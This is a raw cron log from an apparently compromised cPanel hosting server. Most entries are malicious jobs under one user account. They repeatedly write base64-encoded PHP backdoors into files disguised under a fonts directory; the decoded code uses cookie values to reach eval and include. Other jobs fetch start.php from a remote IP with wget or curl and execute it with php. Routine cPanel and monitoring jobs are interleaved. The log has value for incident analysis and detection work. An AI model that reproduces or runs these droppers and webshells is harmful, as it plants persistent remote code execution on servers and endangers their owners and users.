Sep  8 20:06:01 ip-184-168-122-23 CROND[17368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:07:01 ip-184-168-122-23 CROND[17454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:07:01 ip-184-168-122-23 CROND[17455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:07:01 ip-184-168-122-23 CROND[17456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:07:01 ip-184-168-122-23 CROND[17457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:08:01 ip-184-168-122-23 CROND[17617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:08:01 ip-184-168-122-23 CROND[17620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:08:01 ip-184-168-122-23 CROND[17619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:08:01 ip-184-168-122-23 CROND[17623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:08:01 ip-184-168-122-23 CROND[17622]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:09:01 ip-184-168-122-23 CROND[17711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:09:01 ip-184-168-122-23 CROND[17713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:09:01 ip-184-168-122-23 CROND[17715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:09:01 ip-184-168-122-23 CROND[17716]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 20:09:01 ip-184-168-122-23 CROND[17714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:10:01 ip-184-168-122-23 CROND[17840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:10:01 ip-184-168-122-23 CROND[17842]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 20:10:01 ip-184-168-122-23 CROND[17843]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:10:01 ip-184-168-122-23 CROND[17847]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:10:01 ip-184-168-122-23 CROND[17848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:10:01 ip-184-168-122-23 CROND[17849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:10:01 ip-184-168-122-23 CROND[17852]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:10:01 ip-184-168-122-23 CROND[17851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:11:01 ip-184-168-122-23 CROND[17944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:11:01 ip-184-168-122-23 CROND[17946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:11:01 ip-184-168-122-23 CROND[17947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:11:01 ip-184-168-122-23 CROND[17948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:12:01 ip-184-168-122-23 CROND[18037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:12:01 ip-184-168-122-23 CROND[18039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:12:01 ip-184-168-122-23 CROND[18041]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:12:01 ip-184-168-122-23 CROND[18040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:12:01 ip-184-168-122-23 CROND[18042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:13:01 ip-184-168-122-23 CROND[18216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:13:01 ip-184-168-122-23 CROND[18218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:13:01 ip-184-168-122-23 CROND[18220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:13:01 ip-184-168-122-23 CROND[18221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:14:01 ip-184-168-122-23 CROND[18306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:14:01 ip-184-168-122-23 CROND[18308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:14:01 ip-184-168-122-23 CROND[18311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:14:01 ip-184-168-122-23 CROND[18309]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:14:01 ip-184-168-122-23 CROND[18312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:15:01 ip-184-168-122-23 CROND[18408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:15:01 ip-184-168-122-23 CROND[18410]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 20:15:01 ip-184-168-122-23 CROND[18412]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:15:01 ip-184-168-122-23 CROND[18413]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:15:01 ip-184-168-122-23 CROND[18415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:15:01 ip-184-168-122-23 CROND[18414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:15:01 ip-184-168-122-23 CROND[18416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:16:01 ip-184-168-122-23 CROND[18507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:16:01 ip-184-168-122-23 CROND[18509]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 20:16:01 ip-184-168-122-23 CROND[18510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:16:01 ip-184-168-122-23 CROND[18508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:16:01 ip-184-168-122-23 CROND[18511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:16:01 ip-184-168-122-23 CROND[18513]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:17:01 ip-184-168-122-23 CROND[18602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:17:01 ip-184-168-122-23 CROND[18604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:17:01 ip-184-168-122-23 CROND[18609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:17:01 ip-184-168-122-23 CROND[18608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:18:01 ip-184-168-122-23 CROND[18694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:18:01 ip-184-168-122-23 CROND[18697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:18:01 ip-184-168-122-23 CROND[18696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:18:01 ip-184-168-122-23 CROND[18698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
